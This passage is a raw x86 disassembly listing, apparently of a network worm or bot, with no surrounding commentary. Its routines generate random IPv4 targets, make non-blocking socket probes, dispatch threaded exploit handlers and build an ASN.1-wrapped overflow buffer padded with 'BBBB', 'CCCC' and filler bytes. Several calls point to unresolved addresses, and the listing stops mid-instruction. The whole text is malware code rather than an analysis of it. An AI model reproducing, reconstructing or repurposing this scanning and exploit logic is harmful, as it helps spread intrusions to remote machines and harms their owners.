[ebp+arg_0] push 4 push eax push esi call sub_41C310 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BFA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFEB proc near ; CODE XREF: sub_40C124+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41AFE0 cmp eax, 0Fh pop ecx jbe short loc_40C013 xor eax, eax jmp short loc_40C084 ; --------------------------------------------------------------------------- loc_40C013: ; CODE XREF: sub_40BFEB+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C645 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C040 call sub_41B8E2 mov [ebp+var_C], eax loc_40C040: ; CODE XREF: sub_40BFEB+4Bj cmp [ebp+var_8], esi jnz short loc_40C04D call sub_41B8E2 mov [ebp+var_8], eax loc_40C04D: ; CODE XREF: sub_40BFEB+58j cmp [ebp+var_4], esi jnz short loc_40C05A call sub_41B8E2 mov [ebp+var_4], eax loc_40C05A: ; CODE XREF: sub_40BFEB+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C066 call sub_41B8E2 loc_40C066: ; CODE XREF: sub_40BFEB+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CB0C0[ecx*8], eax loc_40C084: ; CODE XREF: sub_40BFEB+26j pop esi leave retn sub_40BFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C087 proc near ; CODE XREF: ___:0040B8FAp ; sub_40C124+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CAFF4 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C0B0 xor eax, eax jmp short loc_40C11F ; --------------------------------------------------------------------------- loc_40C0B0: ; CODE XREF: sub_40C087+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CAF74 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CB010 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CAF1C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CAF5C push esi mov edi, eax call dword_4CB00C xor eax, eax cmp edi, ebx setnle al loc_40C11F: ; CODE XREF: sub_40C087+27j pop edi pop esi pop ebx leave retn sub_40C087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C124 proc near ; DATA XREF: sub_40C124+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 26808EFh push eax call sub_41B8D8 mov ebx, esi pop ecx imul ebx, 234h loc_40C16B: ; CODE XREF: sub_40C124+204j mov eax, dword_43DEB4[ebx] cmp dword_4CB0C4[eax*8], 0 jz loc_40C32D cmp [ebp+var_10], 0 push eax jz short loc_40C195 lea eax, [ebp+var_150] push eax call sub_40BFEB pop ecx jmp short loc_40C19A ; --------------------------------------------------------------------------- loc_40C195: ; CODE XREF: sub_40C124+60j call sub_40BFA3 loc_40C19A: ; CODE XREF: sub_40C124+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43DEB4[ebx] push [ebp+var_3C] push edi call dword_4CB000 push eax lea eax, [ebp+var_28C] push offset unk_431A74 push eax call sub_41B886 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43DCB0[ebx] push eax call sub_41B886 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C087 add esp, 14h cmp eax, 1 jnz loc_40C31D cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C271 push offset dword_4CD0C0 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4CB000 push eax lea eax, [ebp+var_28C] push offset unk_431A4C push eax call sub_41B886 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C253 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C247 lea eax, [ebp+var_140] loc_40C247: ; CODE XREF: sub_40C124+11Bj push eax push [ebp+var_40] call sub_409A72 add esp, 14h loc_40C253: ; CODE XREF: sub_40C124+100j lea eax, [ebp+var_28C] push eax call sub_4151AC mov [esp+29Ch+var_29C], offset dword_4CD0C0 nop call near ptr 77F7E300h jmp loc_40C31D ; --------------------------------------------------------------------------- loc_40C271: ; CODE XREF: sub_40C124+D0j push edi call dword_4CB000 push eax lea eax, [ebp+var_208] push eax call sub_41B886 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41B886 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C2B6 lea eax, [ebp+var_140] loc_40C2B6: ; CODE XREF: sub_40C124+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41B886 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_43140C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C31D: ; CODE XREF: sub_40C124+C6j ; sub_40C124+148j push 7D0h nop call near ptr 2670000h jmp loc_40C16B ; --------------------------------------------------------------------------- loc_40C32D: ; CODE XREF: sub_40C124+55j push esi call sub_40B412 pop ecx push 0 nop call near ptr 26D0000h loc_40C33C: ; DATA XREF: sub_401ACD+1F81o ; sub_401ACD+5C48o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CAFB4 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CB0C0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BACD push 0Bh call sub_40B33E add esp, 150h cmp eax, ebx jnz short loc_40C40A mov esi, offset dword_4CD0C0 push esi nop call near ptr 26D072Ah push 80000400h push esi call near ptr 26D05DFh nop test eax, eax jnz short loc_40C40A lea eax, [ebp+var_1CC] push offset unk_431B58 push eax call sub_41B886 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C3F4 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C3F4: ; CODE XREF: sub_40C124+2B1j lea eax, [ebp+var_1CC] push eax call sub_4151AC pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C40A: ; CODE XREF: sub_40C124+27Bj ; sub_40C124+297j mov eax, [ebp+var_2C] mov esi, dword_427078 mov edi, ebx mov dword_4CB0C4[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C4D7 loc_40C428: ; CODE XREF: sub_40C124+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431B24 push eax call sub_41B886 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B0F6 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43DEB4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C124 push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40C4A2 loc_40C497: ; CODE XREF: sub_40C124+37Cj cmp [ebp+var_4], ebx jnz short loc_40C4C9 push 1Eh call esi jmp short loc_40C497 ; --------------------------------------------------------------------------- loc_40C4A2: ; CODE XREF: sub_40C124+371j call near ptr 26709C5h nop push eax lea eax, [ebp+var_1CC] push offset unk_431AEC push eax call sub_41B886 lea eax, [ebp+var_1CC] push eax call sub_4151AC add esp, 10h loc_40C4C9: ; CODE XREF: sub_40C124+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C428 loc_40C4D7: ; CODE XREF: sub_40C124+2FEj cmp [ebp+var_30], ebx jz loc_40C581 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C4EC: ; CODE XREF: sub_40C124+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CB0C0[eax*8] push eax call dword_4CB000 push eax lea eax, [ebp+var_1CC] push offset unk_431AAC push eax call sub_41B886 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C53A push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C53A: ; CODE XREF: sub_40C124+3F7j lea eax, [ebp+var_1CC] push eax call sub_4151AC mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CB0C4[eax*8], ebx call esi push 0Bh call sub_40B33E cmp eax, 1 pop ecx jnz short loc_40C571 push offset dword_4CD0C0 nop call near ptr 26D072Ah loc_40C571: ; CODE XREF: sub_40C124+440j push [ebp+var_2C] call sub_40B412 pop ecx push ebx call near ptr 26D0000h nop loc_40C581: ; CODE XREF: sub_40C124+3B6j ; sub_40C124+475j mov eax, [ebp+var_2C] cmp dword_4CB0C4[eax*8], 1 jnz loc_40C4EC push 7D0h call esi jmp short loc_40C581 sub_40C124 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59B proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CAF74 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CAFF4 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C659 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CAF1C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43DEBC[ecx], esi jz short loc_40C659 push [ebp+var_38] push [ebp+var_28] call dword_4CB000 push eax mov edi, offset dword_4CDA84 push offset dword_431B8C push edi call sub_41B886 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409A72 push edi call sub_4151AC add esp, 28h loc_40C659: ; CODE XREF: sub_40C59B+5Dj ; sub_40C59B+7Ej push esi call dword_4CB00C pop edi xor eax, eax pop esi leave retn 4 sub_40C59B endp ; --------------------------------------------------------------------------- dword_40C668 dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+603Eo dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h dd 1BB468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C59Bh, 0A7E85757h, 90022639h, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0C3E890FCh, 0FF022451h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h dd 50E0458Dh, 0FBBFE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40C759 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5D4Eo dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 868FFFFh dd 5000431Ch, 0F0E1E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h, 90575700h dd 2638B5E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 0E8900875h, 22450D2h, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0DC68FFFFh dd 5000431Bh, 0F051E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep ; sub_40CADA+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C866 endp ; =============== S U B R O U T I N E ======================================= sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41B4D5 mov edi, eax pop ecx test edi, edi jz short loc_40C8A2 push ebx push 0 push edi call sub_41B590 push ebx push [esp+1Ch+arg_0] push edi call sub_41C310 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C8A2: ; CODE XREF: sub_40C870+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p ; sub_40CA1E+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41B4D5 mov esi, eax pop ecx test esi, esi jz short loc_40C8F6 push edi push 0 push esi call sub_41B590 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41C310 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41C310 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C8AA endp ; =============== S U B R O U T I N E ======================================= sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep ; sub_40C9A4+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C90F push eax call sub_41B0B1 pop ecx loc_40C90F: ; CODE XREF: sub_40C8FF+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C8FF endp ; =============== S U B R O U T I N E ======================================= sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p ; sub_40CA7F+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C945 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C949 loc_40C945: ; CODE XREF: sub_40C918+Dj xor al, al jmp short loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C949: ; CODE XREF: sub_40C918+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41B590 add esp, 0Ch cmp ebx, 1 jnz short loc_40C96E mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C988 ; --------------------------------------------------------------------------- loc_40C96E: ; CODE XREF: sub_40C918+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C988: ; CODE XREF: sub_40C918+54j push eax call sub_41C310 add esp, 0Ch push dword ptr [esi] call sub_41B0B1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C9A0: ; CODE XREF: sub_40C918+2Fj pop edi pop esi pop ebx retn sub_40C918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p ; sub_40CADA+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CAE2C call sub_40C8AA lea ecx, [ebp+var_8] call sub_40C918 mov eax, [ebp+var_4] inc eax push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C9DE xor al, al jmp short loc_40CA1A ; --------------------------------------------------------------------------- loc_40C9DE: ; CODE XREF: sub_40C9A4+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B590 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41C310 add esp, 18h mov ecx, esi call sub_40C8FF mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C8FF mov al, 1 loc_40CA1A: ; CODE XREF: sub_40C9A4+38j pop edi pop esi leave retn sub_40C9A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p ; sub_40CA6F+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CA1E endp ; =============== S U B R O U T I N E ======================================= sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p ; sub_40CADA+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41AFE0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CA1E pop esi retn 4 sub_40CA52 endp ; =============== S U B R O U T I N E ======================================= sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp ; sub_40CADA+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CA1E retn 8 sub_40CA6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p ; sub_40CADA+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C918 test al, al jz short loc_40CAB8 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42C8E8 call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj pop esi leave retn sub_40CA7F endp ; =============== S U B R O U T I N E ======================================= sub_40CABB proc near ; CODE XREF: sub_40CADA+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA6F test al, al jz short loc_40CAD6 mov ecx, esi call sub_40CA7F loc_40CAD6: ; CODE XREF: sub_40CABB+12j pop esi retn 8 sub_40CABB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CADA proc near ; CODE XREF: ___:0040D361p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C866 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CE2E mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CE2E push esi lea ecx, [ebp+var_30] call sub_40C866 lea ecx, [ebp+var_20] call sub_40C866 lea ecx, [ebp+var_50] call sub_40C866 lea ecx, [ebp+var_18] call sub_40C866 lea ecx, [ebp+var_40] call sub_40C866 lea ecx, [ebp+var_38] call sub_40C866 lea ecx, [ebp+var_28] call sub_40C866 push 4 push offset dword_431C40 lea ecx, [ebp+var_30] call sub_40CA1E push 3 push offset dword_431C48 lea ecx, [ebp+var_30] call sub_40CA1E lea ecx, [ebp+var_30] call sub_40C9A4 lea ecx, [ebp+var_30] call sub_40CA7F mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CA1E push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CA1E mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CA1E lea ecx, [ebp+var_20] call sub_40C9A4 push offset loc_431FC4 lea ecx, [ebp+var_50] call sub_40CA52 lea ecx, [ebp+var_50] call sub_40C9A4 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C870 lea ecx, [ebp+var_58] call sub_40C9A4 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CABB lea ecx, [ebp+var_58] call sub_40C8FF push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B590 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CA52 push 4 push offset dword_431C4C lea ecx, [ebp+var_18] call sub_40CA1E push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CA1E sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CA1E lea ecx, [ebp+var_18] call sub_40C9A4 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA6F push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA6F lea ecx, [ebp+var_40] call sub_40CA7F lea ecx, [ebp+var_18] call sub_40C8FF lea ecx, [ebp+var_50] call sub_40C8FF push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA6F push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA6F push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA6F lea ecx, [ebp+var_38] call sub_40CA7F lea ecx, [ebp+var_20] call sub_40C8FF lea ecx, [ebp+var_30] call sub_40C8FF lea ecx, [ebp+var_40] call sub_40C8FF push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CA1E lea ecx, [ebp+var_28] call sub_40C9A4 push 2 push offset dword_431FB8 lea ecx, [ebp+var_28] call sub_40CA1E push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA6F lea ecx, [ebp+var_28] call sub_40CA7F lea ecx, [ebp+var_38] call sub_40C8FF lea ecx, [ebp+var_10] call sub_40C866 lea ecx, [ebp+var_8] call sub_40C866 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_28] call sub_40C8FF push offset dword_431FB4 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push offset dword_431FB0 lea ecx, [ebp+var_10] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_8] call sub_40C8FF push offset dword_431FA4 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push (offset loc_431F9F+1) lea ecx, [ebp+var_48] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C8FF mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CE3C ; --------------------------------------------------------------------------- loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj ; sub_40CADA+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CE3C: ; CODE XREF: sub_40CADA+352j pop edi pop ebx leave retn sub_40CADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p ; sub_40CF04+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov 